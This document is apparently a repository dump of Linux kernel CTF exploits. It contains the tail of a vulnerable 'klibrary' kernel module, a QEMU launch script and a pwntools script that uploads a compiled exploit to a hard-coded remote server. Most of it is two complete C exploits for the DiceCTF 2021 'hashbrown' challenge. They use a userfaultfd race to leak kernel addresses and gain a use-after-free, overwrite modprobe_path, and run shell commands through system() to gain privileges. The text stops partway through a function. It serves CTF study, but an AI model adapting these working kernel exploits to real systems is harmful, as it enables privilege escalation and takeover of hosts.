printk(KERN_INFO "[library] : the given index wasn't found\n"); 204 | return -1; 205 | } 206 | 207 | if(copy_from_user((void*)book->book_description, 208 | (void*)(request.userland_pointer), 209 | BOOK_DESCRIPTION_SIZE)) { 210 | printk(KERN_INFO "[library] : copy_from_user failed for some reason.\n"); 211 | return -1; 212 | } 213 | } 214 | 215 | static int get_book_description(struct Request request) { 216 | struct Book* book; 217 | book = root; 218 | 219 | if(book == NULL) { 220 | printk("[library] : no books yet, can not read the description.\n"); 221 | return -1; 222 | } 223 | 224 | while(book != NULL && book->index != request.index) 225 | book = book->next; 226 | 227 | if(book == NULL) { 228 | printk(KERN_INFO "[library] : no book with the index you provided\n"); 229 | return -1; 230 | } 231 | 232 | if(copy_to_user((void*)request.userland_pointer, 233 | (void*)book->book_description, 234 | BOOK_DESCRIPTION_SIZE)) { 235 | printk("[library] : copy_to_user failed!\n"); 236 | return -1; 237 | } 238 | } 239 | 240 | static int __init init_library(void) { 241 | major = register_chrdev(0, DEVICE_NAME, &library_fops); 242 | 243 | if(major < 0) { 244 | return -1; 245 | } 246 | 247 | library_class = class_create(THIS_MODULE, CLASS_NAME); 248 | if(IS_ERR(library_class)) { 249 | unregister_chrdev(major, DEVICE_NAME); 250 | return -1; 251 | } 252 | 253 | library_device = device_create(library_class, 254 | 0, 255 | MKDEV(major, 0), 256 | 0, 257 | DEVICE_NAME); 258 | 259 | if(IS_ERR(library_device)) { 260 | class_destroy(library_class); 261 | unregister_chrdev(major, DEVICE_NAME); 262 | return -1; 263 | } 264 | 265 | root = NULL; 266 | mutex_init(&ioctl_lock); 267 | mutex_init(&remove_all_lock); 268 | printk(KERN_INFO "[library] : started!\n"); 269 | return 0; 270 | } 271 | 272 | static void __exit exit_library(void) { 273 | 274 | device_destroy(library_class, MKDEV(major, 0)); 275 | class_unregister(library_class); 276 | class_destroy(library_class); 277 | unregister_chrdev(major, DEVICE_NAME); 278 | 279 | mutex_destroy(&ioctl_lock); 280 | mutex_destroy(&remove_all_lock); 281 | printk(KERN_INFO "[library] : finished!\n"); 282 | } 283 | 284 | module_init(init_library); 285 | module_exit(exit_library); 286 | -------------------------------------------------------------------------------- /ctf/3k-2021-klibrary/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | gcc -g -static ./exploit.c -o ./initramfs/exploit -lpthread -no-pie 4 | 5 | cd ./initramfs 6 | find . | cpio -o -H newc > ../initramfs1.cpio 7 | cd ../ 8 | 9 | exec qemu-system-x86_64 \ 10 | -m 128M \ 11 | -nographic \ 12 | -kernel "./bzImage" \ 13 | -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \ 14 | -no-reboot \ 15 | -cpu qemu64,+smep,+smap \ 16 | -monitor /dev/null \ 17 | -initrd "./initramfs1.cpio" \ 18 | -smp 2 \ 19 | -smp cores=2 \ 20 | -smp threads=1 \ 21 | -------------------------------------------------------------------------------- /ctf/3k-2021-klibrary/upload.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3.8 2 | 3 | from pwn import * 4 | 5 | 6 | EXPLOIT_PATH = '/tmp/exploit' 7 | 8 | SERVER = 178.62.107.48 9 | PORT = 9994 10 | 11 | SHELL_PROMPT = '$ ' 12 | 13 | 14 | def get_splitted_encoded_exploit(): 15 | split_every = 256 16 | # Change the name to your exploit path 17 | with open('exploit', 'rb') as exploit_file: 18 | exploit = base64.b64encode(exploit_file.read()) 19 | return [exploit[i:i+split_every] for i in range(0, len(exploit), split_every)] 20 | 21 | 22 | def upload_exploit(sh): 23 | chunks_sent = 0 24 | splitted_exploit = get_splitted_encoded_exploit() 25 | for exploit_chunk in splitted_exploit: 26 | print(f'[*] Sending a chunk ({chunks_sent}/{len(splitted_exploit)})') 27 | sh.sendlineafter( 28 | SHELL_PROMPT, f'echo {exploit_chunk.decode()} | base64 -d >> {EXPLOIT_PATH}') 29 | chunks_sent += 1 30 | 31 | r = remote(SERVER, PORT) 32 | upload_exploit(r) 33 | # When finished, your exploit will be in /tmp directory. Good luck. 34 | r.interactive() 35 | -------------------------------------------------------------------------------- /ctf/dice-2021-hashbrown/.gitignore: -------------------------------------------------------------------------------- 1 | exploit-task 2 | exploit-modprobe-path 3 | -------------------------------------------------------------------------------- /ctf/dice-2021-hashbrown/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -static 2 | LFLAGS = -lpthread 3 | 4 | SRCS := $(filter-out hashbrown_distributed.c, $(wildcard *.c)) 5 | PROGS := $(patsubst %.c,%,$(SRCS)) 6 | 7 | all: $(PROGS) 8 | 9 | %: %.c 10 | gcc $(CFLAGS) -o $@ $< $(LFLAGS) 11 | cp $@ initramfs 12 | 13 | .PHONY: 14 | clean 15 | 16 | clean: 17 | rm $(PROGS) 18 | rm -rf initramfs 19 | rm -rf initramfs.cpio 20 | 21 | -------------------------------------------------------------------------------- /ctf/dice-2021-hashbrown/README.md: -------------------------------------------------------------------------------- 1 | # Hashbrown 2 | 3 | original writeup: https://www.willsroot.io/2021/02/dicectf-2021-hashbrown-writeup-from.html 4 | 5 | exploits: 6 | - [exploit with modprobe_path](./exploit-modprobe-path.c) | Working 7 | - [exploit overwriting cred on task_struct](./exploit-task.c) | Not working -> memcopy is hardened :( 8 | - [clean exploit](./exploit.c) | TODO 9 | -------------------------------------------------------------------------------- /ctf/dice-2021-hashbrown/bzImage: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/meowmeowxw/kernel-exploits/91ba1fc70283946c29c17bc11db5a33f29ad79da/ctf/dice-2021-hashbrown/bzImage -------------------------------------------------------------------------------- /ctf/dice-2021-hashbrown/exploit-modprobe-path.c: -------------------------------------------------------------------------------- 1 | /* 2 | * author: @meowmeowxw 3 | * 4 | * Main idea: https://www.willsroot.io/2020/10/cuctf-2020-hotrod-kernel-writeup.html 5 | * 6 | */ 7 | #define _GNU_SOURCE 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | 33 | #define DEVICE_NAME "/dev/hashbrown" 34 | #define CLASS_NAME "/dev/hashbrown" 35 | 36 | #define ADD_KEY 0x1337 37 | #define DELETE_KEY 0x1338 38 | #define UPDATE_VALUE 0x1339 39 | #define DELETE_VALUE 0x133a 40 | #define GET_VALUE 0x133b 41 | 42 | #define SIZE_ARR_START 0x10 43 | #define SIZE_ARR_MAX 0x200 44 | #define MAX_ENTRIES 0x400 45 | #define MAX_VALUE_SIZE 0xb0 46 | #define GET_THRESHOLD(size) size - (size >> 2) 47 | 48 | #define OK 0 49 | #define INVALID 1 50 | #define EXISTS 2 51 | #define NOT_EXISTS 3 52 | #define MAXED 4 53 | 54 | #define THREADS 8 55 | #define DEFAULT_SIZE 0xb0 56 | #define PAGESIZE 0x1000 57 | 58 | typedef struct { 59 | uint32_t key; 60 | uint32_t size; 61 | char *src; 62 | char *dest; 63 | } request_t; 64 | 65 | typedef struct { 66 | int error_code; 67 | const char* error_message; 68 | } error_type; 69 | 70 | uint32_t get_hash_idx(uint32_t key, uint32_t size); 71 | request_t *create_request(uint32_t key, uint32_t size); 72 | void free_request(request_t *r); 73 | void *add(request_t *arg); 74 | void *delete(request_t *arg); 75 | void *race_userfault(void *arg); 76 | void (*race_function)(void *); 77 | void leak_function(request_t *req); 78 | void print_leak(uint64_t *leak, uint32_t size); 79 | void init_error(); 80 | void init_commands(); 81 | int userfaultfd(int flags); 82 | int register_ufd(uint64_t page); 83 | long update_value(int fd, uint32_t key, uint32_t size, char *src); 84 | void make_flag_readable(); 85 | 86 | uint64_t uf_page; 87 | char *error[] = {"OK ", "INVALID", "EXISTS", "NOT_EXISTS", "MAXED"}; 88 | char *default_add = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; 89 | char *default_del = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"; 90 | uint64_t base, init_task, modprobe_path; 91 | uint64_t leak[0x4]; 92 | int uaf = 0; 93 | int fd; 94 | request_t *del_r; 95 | 96 | int main(int argc, char **argv) { 97 | struct timespec t; 98 | pthread_t thread; 99 | request_t *add_r; 100 | request_t evil; 101 | uint32_t added = 0; 102 | int threshold; 103 | int ufd; 104 | int size; 105 | pid_t pid; 106 | int ret; 107 | int i = 0; 108 | uint32_t j = 0, h1 = 0, h2 = 0; 109 | size = SIZE_ARR_START; 110 | threshold = GET_THRESHOLD(size); 111 | 112 | fd = open(DEVICE_NAME, O_RDONLY); 113 | 114 | del_r = create_request(0, 0x20); 115 | add_r = create_request(1, DEFAULT_SIZE); 116 | strcpy(del_r->src, "b"); 117 | strcpy(add_r->src, default_add); 118 | 119 | add(del_r); 120 | 121 | for (i = 1; i < 12; i++) { 122 | add_r->key = i; 123 | add(add_r); 124 | } 125 | 126 | ufd = register_ufd(0xaaaa000); 127 | printf("[*] ufd: %d\n", ufd); 128 | race_function = (void *)leak_function; 129 | 130 | if (pthread_create(&thread, NULL, (void *)race_userfault, (void *)(intptr_t)ufd) != 0) { 131 | perror("pthread"); 132 | } 133 | 134 | add_r->key = i++; 135 | add_r->src = (char *)uf_page; 136 | del_r->key = 0; 137 | add(add_r); 138 | 139 | pthread_join(thread, NULL); 140 | 141 | ret = ioctl(fd, GET_VALUE, del_r); 142 | if (ret == OK) { 143 | puts("[*] leak"); 144 | } else { 145 | puts("NO LEAK\n"); 146 | return 1; 147 | } 148 | 149 | memcpy(leak, del_r->dest, 0x20); 150 | print_leak(leak, 0x4); 151 | 152 | base = leak[1] - 0xb0dca0; 153 | init_task = base + 0xa13940; 154 | modprobe_path = base + 0xa46fe0; 155 | printf("[*] base address: 0x%016lx\n", base); 156 | printf("[*] init task: 0x%016lx\n", init_task); 157 | printf("[*] modprobe_path: 0x%016lx\n", modprobe_path); 158 | 159 | for (; i <= 22; i++) { 160 | add_r->key = i; 161 | add(add_r); 162 | } 163 | 164 | // add_r has equal size of del_r 165 | add_r = create_request(0x401, 0x20); 166 | strcpy(add_r->src, "cccccccccccccccccccccccccccccccc"); 167 | add(add_r); 168 | 169 | ufd = register_ufd(0xcafe000); 170 | printf("[*] ufd: %d\n", ufd); 171 | race_function = (void *)delete; 172 | del_r->key = 0x401; 173 | 174 | if (pthread_create(&thread, NULL, (void *)race_userfault, (void *)(intptr_t)ufd) != 0) { 175 | perror("pthread"); 176 | } 177 | 178 | add_r->key = 23; 179 | add_r->src = (char *)uf_page; 180 | add(add_r); 181 | 182 | pthread_join(thread, NULL); 183 | 184 | ioctl(fd, GET_VALUE, del_r); 185 | memcpy(leak, del_r->dest, 0x20); 186 | print_leak(leak, 0x4); 187 | // free_request(add_r); 188 | 189 | /* 190 | * Basically we were able to delete a 0x20 chunk and maintain the pointer 191 | * to it. What happens if we reallocate some request_t structure? since a 192 | * structure request_t occupies 0x20, we will probably reallocate the deleted 193 | * chunk (UAF). 194 | * 195 | * Now we can overwrite the request_t.src pointer to modprobe_path and 196 | * overwrite with UPDATE_VALUE. 197 | * 198 | * We set add_r->size to DEFAULT_SIZE = 0xb0, in this way we are sure to do 199 | * UAF against a request_t and not a request_t->value. 200 | * 201 | */ 202 | 203 | add_r = create_request(i, DEFAULT_SIZE); 204 | 205 | for (i = 24; i < 0x400; i++) { 206 | add_r->src[0] = (unsigned char)i; 207 | add_r->key = i; 208 | add(add_r); 209 | } 210 | 211 | del_r->key = 0x401; 212 | ret = ioctl(fd, GET_VALUE, del_r); 213 | if (ret == OK) { 214 | puts("[*] use-after-free"); 215 | } else { 216 | puts("NO UAF\n"); 217 | return 100; 218 | } 219 | 220 | uint32_t uaf_entry = *(int *)del_r->dest; 221 | printf("[!] uaf entry: %u\n", uaf_entry); 222 | memcpy(leak, del_r->dest, 0x20); 223 | print_leak(leak, 0x4); 224 | 225 | evil.key = uaf_entry; 226 | evil.size = 0x20; 227 | evil.src = (char *)modprobe_path; 228 | evil.dest = NULL; 229 | 230 | // https://kileak.github.io/ctf/2019/xctf-hackme/ modprobe_path trick 231 | memcpy(del_r->src, (void *)&evil, sizeof(evil)); 232 | ioctl(fd, UPDATE_VALUE, del_r); 233 | 234 | del_r->key = uaf_entry; 235 | strcpy(del_r->src, "/home/ctf/w"); 236 | ioctl(fd, UPDATE_VALUE, del_r); 237 | 238 | make_flag_readable(); 239 | 240 | return 0; 241 | } 242 | 243 | request_t *create_request(uint32_t key, uint32_t size) { 244 | request_t *r = calloc(1, sizeof(request_t)); 245 | r->key = key; 246 | r->size = size; 247 | r->src = calloc(1, size); 248 | r->dest = calloc(1, size); 249 | return r; 250 | } 251 | 252 | void free_request(request_t *r) { 253 | free(r->src); 254 | free(r->dest); 255 | free(r); 256 | } 257 | 258 | void *add(request_t *arg) { 259 | int ret; 260 | ret = ioctl(fd, ADD_KEY, arg); 261 | // printf("ADD_KEY \tret: %s\t\tr->src: %s\t\tr->dest: %s\tr->key: %d\n", error[ret], arg->src, arg->dest, arg->key); 262 | return NULL; 263 | } 264 | 265 | void *delete(request_t *arg) { 266 | int ret; 267 | ret = ioctl(fd, DELETE_VALUE, arg); 268 | // printf("DELETE_VALUE\tret: %s\t\tr->src: %s\t\tr->dest: %s\tr->key: %d\n", error[ret], arg->src, arg->dest, arg->key); 269 | return NULL; 270 | } 271 | 272 | uint32_t get_hash_idx(uint32_t key, uint32_t size) { 273 | uint32_t hash; 274 | key ^= (key >> 20) ^ (key >> 12); 275 | hash = key ^ (key >> 7) ^ (key >> 4); 276 | return hash & (size - 1); 277 | } 278 | 279 | int userfaultfd(int flags) { 280 | return syscall(SYS_userfaultfd, flags); 281 | } 282 | 283 | int register_ufd(uint64_t page) { 284 | int fd = 0; 285 | int memsize = 0x1000; 286 | uf_page = page; 287 | struct uffdio_api api = { .api = UFFD_API }; 288 | 289 | uf_page = (uint64_t)mmap((void *)uf_page, 0x1000, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0); 290 | if ((void *)uf_page == MAP_FAILED) { 291 | perror("mmap uf_page"); 292 | exit(2); 293 | } 294 | 295 | if ((fd = userfaultfd(O_NONBLOCK)) == -1) { 296 | fprintf(stderr, "++ userfaultfd failed: %m\n"); 297 | exit(-1); 298 | } 299 | 300 | if (ioctl(fd, UFFDIO_API, &api)) { 301 | fprintf(stderr, "++ ioctl(fd, UFFDIO_API, ...) failed: %m\n"); 302 | exit(-1); 303 | } 304 | if (api.api != UFFD_API) { 305 | fprintf(stderr, "++ unexepcted UFFD api version.\n"); 306 | exit(-1); 307 | } 308 | 309 | /* mmap some pages, set them up with the userfaultfd. */ 310 | struct uffdio_register reg = { 311 | .mode = UFFDIO_REGISTER_MODE_MISSING, 312 | .range = { 313 | .start = uf_page, 314 | .len = memsize 315 | } 316 | }; 317 | 318 | if (ioctl(fd, UFFDIO_REGISTER, ®) == -1) { 319 | fprintf(stderr, "++ ioctl(fd, UFFDIO_REGISTER, ...) failed: %m\n"); 320 | exit(-1); 321 | } 322 | 323 | return fd; 324 | } 325 | 326 | void *race_userfault(void *arg) { 327 | // request_t *req = create_request(0, 0x20); 328 | int ufd = (intptr_t)arg; 329 | char uf_buffer[0x1000]; 330 | struct pollfd evt = { .fd = ufd, .events = POLLIN }; 331 | 332 | while (poll(&evt, 1, -1) > 0) { 333 | /* unexpected poll events */ 334 | if (evt.revents & POLLERR) { 335 | perror("poll"); 336 | exit(-1); 337 | } else if (evt.revents & POLLHUP) { 338 | perror("pollhup"); 339 | exit(-1); 340 | } 341 | struct uffd_msg fault_msg = {0}; 342 | if (read(ufd, &fault_msg, sizeof(fault_msg)) != sizeof(fault_msg)) { 343 | perror("read"); 344 | exit(-1); 345 | } 346 | char *place = (char *)fault_msg.arg.pagefault.address; 347 | if (fault_msg.event != UFFD_EVENT_PAGEFAULT 348 | || (place != (void *)uf_page && place != (void *)uf_page + PAGESIZE)) { 349 | fprintf(stderr, "unexpected pagefault?.\n"); 350 | exit(-1); 351 | } 352 | if (place == (void *)uf_page) { 353 | printf("[+] got page fault at address %p, nice!\n", place); 354 | printf("[*] now delete %u\n",del_r->key); 355 | (*race_function)(del_r); 356 | printf("[*] done! now releasing ufd to finish exit\n"); 357 | 358 | /* release by copying some data to faulting address */ 359 | struct uffdio_copy copy = { 360 | .dst = (long) place, 361 | .src = (long) uf_buffer, 362 | .len = PAGESIZE 363 | }; 364 | if (ioctl(ufd, UFFDIO_COPY, ©) < 0) { 365 | perror("ioctl(UFFDIO_COPY)"); 366 | exit(-1); 367 | } 368 | break; 369 | } 370 | } 371 | close(ufd); 372 | // free_request(req); 373 | return NULL; 374 | } 375 | 376 | void leak_function(request_t *req) { 377 | int shmid; 378 | void *shmaddr; 379 | delete(req); 380 | ioctl(fd, GET_VALUE, del_r); 381 | memcpy(leak, del_r->dest, 0x20); 382 | print_leak(leak, 0x4); 383 | if ((shmid = shmget(IPC_PRIVATE, 100, 0600)) == -1) { 384 | perror("shmget error"); 385 | exit(10); 386 | } 387 | shmaddr = shmat(shmid, NULL, 0); 388 | if (shmaddr == (void *)-1) { 389 | perror("shmat error"); 390 | exit(11); 391 | } 392 | } 393 | 394 | void print_leak(uint64_t *leak, uint32_t size) { 395 | int i = 0; 396 | for (i = 0; i < 0x4; i++) { 397 | printf("0x%016lx\t", leak[i]); 398 | if (!((i + 1) % 3)) { 399 | printf("\n"); 400 | } 401 | } 402 | printf("\n"); 403 | } 404 | 405 | long update_value(int fd, uint32_t key, uint32_t size, char *src) { 406 | request_t request; 407 | request.key = key; 408 | request.size = size; 409 | request.src = src; 410 | 411 | return ioctl(fd, UPDATE_VALUE, (unsigned long)&request); 412 | } 413 | 414 | void make_flag_readable() { 415 | char filename[65]; 416 | memset(filename, 0, sizeof(filename)); 417 | system("echo -ne '\\xff\\xff\\xff\\xff' > /home/ctf/roooot"); 418 | system("chmod +x /home/ctf/roooot"); 419 | system("echo -ne '#!/bin/sh\nchmod 777 /flag.txt' > /home/ctf/w\n"); 420 | system("chmod +x /home/ctf/w"); 421 | system("/home/ctf/roooot"); 422 | return; 423 | } 424 | -------------------------------------------------------------------------------- /ctf/dice-2021-hashbrown/exploit-task.c: -------------------------------------------------------------------------------- 1 | /* 2 | * author: @meowmeowxw 3 | * 4 | * Main ideas: https://www.willsroot.io/2020/10/cuctf-2020-hotrod-kernel-writeup.html 5 | * https://www.willsroot.io/2021/02/dicectf-2021-hashbrown-writeup-from.html 6 | * 7 | * 8 | * 9 | * https://pr0cf5.github.io/ctf/2019/10/10/balsn-ctf-krazynote.html 10 | * https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html 11 | * https://rpis.ec/blog/tokyowesterns-2019-gnote/ 12 | * https://duasynt.com/blog/linux-kernel-heap-spray 13 | * https://syst3mfailure.github.io/hotrod 14 | * https://github.com/esanfelix/r2con2019-ctf-kernel/blob/master/solution/exploit_kaslr_cred.c#L268 FIND TASK_STRUCT 15 | */ 16 | #define _GNU_SOURCE 17 | 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | 43 | #define DEVICE_NAME "/dev/hashbrown" 44 | #define CLASS_NAME "/dev/hashbrown" 45 | 46 | #define ADD_KEY 0x1337 47 | #define DELETE_KEY 0x1338 48 | #define UPDATE_VALUE 0x1339 49 | #define DELETE_VALUE 0x133a 50 | #define GET_VALUE 0x133b 51 | 52 | #define SIZE_ARR_START 0x10 53 | #define SIZE_ARR_MAX 0x200 54 | #define MAX_ENTRIES 0x400 55 | #define MAX_VALUE_SIZE 0xb0 56 | #define GET_THRESHOLD(size) size - (size >> 2) 57 | 58 | #define OK 0 59 | #define INVALID 1 60 | #define EXISTS 2 61 | #define NOT_EXISTS 3 62 | #define MAXED 4 63 | 64 | #define THREADS 8 65 | #define DEFAULT_SIZE 0xb0 66 | #define PAGESIZE 0x1000 67 | 68 | /* 69 | #define COMM 0x570 70 | #define CRED 0x560 71 | #define TASKS 0x2c8 72 | // #define CRED 0x518 73 | #define CRED 0x6a8 74 | #define COMM 0x6b8 75 | #define TASKS 0x3e8 76 | */ 77 | 78 | 79 | #define COMM 0x708 80 | #define CRED 0x6f8 81 | #define TASKS 0x438 82 | 83 | typedef struct { 84 | uint32_t key; 85 | uint32_t size; 86 | char *src; 87 | char *dest; 88 | } request_t; 89 | 90 | typedef struct { 91 | int error_code; 92 | const char* error_message; 93 | } error_type; 94 | 95 | uint32_t get_hash_idx(uint32_t key, uint32_t size); 96 | request_t *create_request(uint32_t key, uint32_t size); 97 | void free_request(request_t *r); 98 | void *add(request_t *arg); 99 | void *delete(request_t *arg); 100 | void *race_userfault(void *arg); 101 | void (*race_function)(void *); 102 | void leak_function(request_t *req); 103 | void print_leak(uint64_t *leak, uint32_t size); 104 | void init_error(); 105 | void init_commands(); 106 | int userfaultfd(int flags); 107 | int register_ufd(uint64_t page); 108 | long update_value(int fd, uint32_t key, uint32_t size, char *src); 109 | void make_flag_readable(); 110 | void read_leak(uint64_t address, uint32_t size, uint32_t uaf_entry, uint32_t idx); 111 | 112 | uint64_t uf_page; 113 | char *error[] = {"OK ", "INVALID", "EXISTS", "NOT_EXISTS", "MAXED"}; 114 | char *default_add = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; 115 | char *default_del = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"; 116 | uint64_t base, init_task, modprobe_path; 117 | uint64_t leak[0x300]; 118 | int uaf = 0; 119 | int fd; 120 | request_t *del_r; 121 | 122 | int main(int argc, char **argv) { 123 | struct timespec t; 124 | pthread_t thread; 125 | request_t *add_r; 126 | request_t evil; 127 | uint32_t added = 0; 128 | int threshold; 129 | int ufd; 130 | int size; 131 | pid_t pid; 132 | int ret; 133 | int i = 0; 134 | uint32_t j = 0, h1 = 0, h2 = 0; 135 | size = SIZE_ARR_START; 136 | threshold = GET_THRESHOLD(size); 137 | 138 | fd = open(DEVICE_NAME, O_RDONLY); 139 | 140 | del_r = create_request(0, 0x20); 141 | add_r = create_request(1, DEFAULT_SIZE); 142 | strcpy(del_r->src, "b"); 143 | strcpy(add_r->src, default_add); 144 | 145 | add(del_r); 146 | 147 | for (i = 1; i < 12; i++) { 148 | add_r->key = i; 149 | add(add_r); 150 | } 151 | 152 | ufd = register_ufd(0xaaaa000); 153 | printf("[*] ufd: %d\n", ufd); 154 | race_function = (void *)leak_function; 155 | 156 | if (pthread_create(&thread, NULL, (void *)race_userfault, (void *)(intptr_t)ufd) != 0) { 157 | perror("pthread"); 158 | } 159 | 160 | add_r->key = i++; 161 | add_r->src = (char *)uf_page; 162 | del_r->key = 0; 163 | add(add_r); 164 | 165 | pthread_join(thread, NULL); 166 | 167 | ret = ioctl(fd, GET_VALUE, del_r); 168 | if (ret == OK) { 169 | puts("[*] leak"); 170 | } else { 171 | puts("NO LEAK\n"); 172 | return 1; 173 | } 174 | 175 | memcpy(leak, del_r->dest, 0x20); 176 | print_leak(leak, 0x4); 177 | 178 | base = leak[1] - 0xb0dca0; 179 | // init_task = base + 0xa13720; 180 | // init_task = 0xffffffff81a13940; NOKASLR 181 | init_task = base + 0xa13940; 182 | modprobe_path = base + 0xa46fe0; 183 | printf("[*] base address: 0x%016lx\n", base); 184 | printf("[*] init task: 0x%016lx\n", init_task); 185 | printf("[*] modprobe_path: 0x%016lx\n", modprobe_path); 186 | 187 | for (; i <= 22; i++) { 188 | add_r->key = i; 189 | add(add_r); 190 | } 191 | 192 | // add_r has equal size of del_r 193 | add_r = create_request(0x401, 0x20); 194 | strcpy(add_r->src, "cccccccccccccccccccccccccccccccc"); 195 | add(add_r); 196 | 197 | ufd = register_ufd(0xcafe000); 198 | printf("[*] ufd: %d\n", ufd); 199 | race_function = (void *)delete; 200 | del_r->key = 0x401; 201 | 202 | if (pthread_create(&thread, NULL, (void *)race_userfault, (void *)(intptr_t)ufd) != 0) { 203 | perror("pthread"); 204 | } 205 | 206 | add_r->key = i++; 207 | add_r->src = (char *)uf_page; 208 | add(add_r); 209 | 210 | pthread_join(thread, NULL); 211 | 212 | ioctl(fd, GET_VALUE, del_r); 213 | memcpy(leak, del_r->dest, 0x20); 214 | print_leak(leak, 0x4); 215 | // free_request(add_r); 216 | 217 | /* 218 | * Basically we were able to delete a 0x20 chunk and maintain the pointer 219 | * to it. What happens if we reallocate some request_t structure? since a 220 | * structure request_t occupies 0x20, we will probably reallocate the deleted 221 | * chunk (UAF). 222 | * 223 | * Now we can overwrite the request_t.src pointer to modprobe_path and 224 | * overwrite with UPDATE_VALUE. 225 | * 226 | * We set add_r->size to DEFAULT_SIZE = 0xb0, in this way we are sure to do 227 | * UAF against a request_t and not a request_t->value. 228 | * 229 | */ 230 | 231 | add_r = create_request(i, DEFAULT_SIZE); 232 | 233 | for (; i < 0x40; i++) { 234 | add_r->src[0] = (unsigned char)i; 235 | add_r->key = i; 236 | add(add_r); 237 | } 238 | 239 | del_r->key = 0x401; 240 | ret = ioctl(fd, GET_VALUE, del_r); 241 | if (ret == OK) { 242 | puts("[*] use-after-free"); 243 | } else { 244 | puts("NO UAF\n"); 245 | return 100; 246 | } 247 | 248 | uint32_t uaf_entry = *(int *)del_r->dest; 249 | printf("[!] uaf entry: %u\n", uaf_entry); 250 | memcpy(leak, del_r->dest, 0x20); 251 | print_leak(leak, 0x4); 252 | 253 | prctl(PR_SET_NAME, "EXPLOIT4", NULL, NULL, NULL); 254 | 255 | char s[0x10]; 256 | j = 0; 257 | uint64_t current = init_task; 258 | // OR DO WHILE UNTIL YOU FIND THE RIGHT ONE BUT CRASH 259 | 260 | uint64_t ksymtab_prepare_kernel_cred = base + 0x995158; 261 | uint64_t ksymtab_commit_creds = base + 0x992104; 262 | uint64_t prepare_kernel_cred = ksymtab_prepare_kernel_cred; 263 | uint64_t commit_creds = ksymtab_commit_creds; 264 | printf("[*] ksymtab_prepare_kernel_cred: 0x%016lx\n", ksymtab_prepare_kernel_cred); 265 | printf("[*] ksymtab_commit_creds: 0x%016lx\n", ksymtab_commit_creds); 266 | read_leak(ksymtab_prepare_kernel_cred, 0x20, uaf_entry, 0x401); 267 | prepare_kernel_cred = ksymtab_prepare_kernel_cred + (int)leak[0]; 268 | read_leak(ksymtab_commit_creds, 0x20, uaf_entry, 0x401); 269 | commit_creds = ksymtab_commit_creds + (int)leak[0]; 270 | printf("[*] prepare_kernel_cred: 0x%016lx\n", prepare_kernel_cred); 271 | printf("[*] commit_creds: 0x%016lx\n", commit_creds); 272 | 273 | for (i = 0; i < 0x4; i++) { 274 | printf("\n\n\n[*] task_struct: %d\n", i); 275 | printf("current: 0x%16lx\n", current); 276 | 277 | read_leak(current + COMM, 0x20, uaf_entry, 0x401); 278 | strcpy(s, (char *)leak); 279 | printf("COMM: %s\n", s); 280 | memset(s, 0, 0x10); 281 | 282 | read_leak(current + TASKS, 0x20, uaf_entry, 0x401); 283 | current = leak[0] - TASKS; 284 | } 285 | 286 | 287 | 288 | // modprobe_path exploitation 289 | evil.key = uaf_entry; 290 | evil.size = 0x20; 291 | evil.src = (char *)modprobe_path; 292 | evil.dest = NULL; 293 | 294 | // https://kileak.github.io/ctf/2019/xctf-hackme/ modprobe_path trick 295 | del_r->key = 0x401; 296 | memcpy(del_r->src, (void *)&evil, sizeof(evil)); 297 | ioctl(fd, UPDATE_VALUE, del_r); 298 | 299 | del_r->key = uaf_entry; 300 | strcpy(del_r->src, "/home/ctf/w"); 301 | ioctl(fd, UPDATE_VALUE, del_r); 302 | printf("UPDATE: %u\tRET: %s\n", del_r->key, error[ret]); 303 | 304 | make_flag_readable(); 305 | 306 | 307 | return 0; 308 | } 309 | 310 | void read_leak(uint64_t address, uint32_t size, uint32_t uaf_entry, uint32_t idx) { 311 | int ret; 312 | char dest_evil[0x100]; 313 | char dest_update[0x100]; 314 | char src[0x100]; 315 | 316 | request_t evil = { 317 | .key = uaf_entry, 318 | .size = 0x20, 319 | .src = (char *)address, 320 | .dest = dest_evil 321 | }; 322 | 323 | request_t update = { 324 | .key = idx, 325 | .size = 0x20, 326 | .src = src, 327 | .dest = dest_update, 328 | }; 329 | 330 | memset(dest_evil, 0, 0x100); 331 | memcpy(update.src, (void *)&evil, sizeof(evil)); 332 | ret = ioctl(fd, UPDATE_VALUE, &update); 333 | printf("UPDATE: %u\tRET: %s\n", update.key, error[ret]); 334 | 335 | update.key = evil.key; 336 | ret = ioctl(fd, GET_VALUE, &update); 337 | printf("GET_VALUE: %u\tRET: %s\n", update.key, error[ret]); 338 | 339 | memcpy(leak, dest_update, 0x20); 340 | print_leak(leak, 0x4); 341 | } 342 | 343 | request_t *create_request(uint32_t key, uint32_t size) { 344 | request_t *r = calloc(1, sizeof(request_t)); 345 | r->key = key; 346 | r->size = size; 347 | r->src = calloc(1, size); 348 | r->dest = calloc(1, size); 349 | return r; 350 | } 351 | 352 | void free_request(request_t *r) { 353 | free(r->src); 354 | 